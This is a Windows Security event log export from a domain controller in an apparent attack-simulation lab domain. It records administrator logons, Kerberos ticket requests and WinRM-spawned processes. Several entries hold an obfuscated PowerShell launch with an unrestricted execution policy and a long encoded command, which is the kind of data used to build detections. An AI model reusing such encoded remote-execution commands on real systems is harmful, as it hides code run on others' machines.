	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252761
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252760
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252759
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252758
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x132c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1208
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252757
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1208
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x330
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252756
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172A45

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252755
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172A45
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252754
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252753
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252752
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x330
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252750
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Process Information:
	New Process ID:		0x330
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252749
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252748
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252747
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252746
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{4C853174-D52F-386E-E216-867E0AFCFDC0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
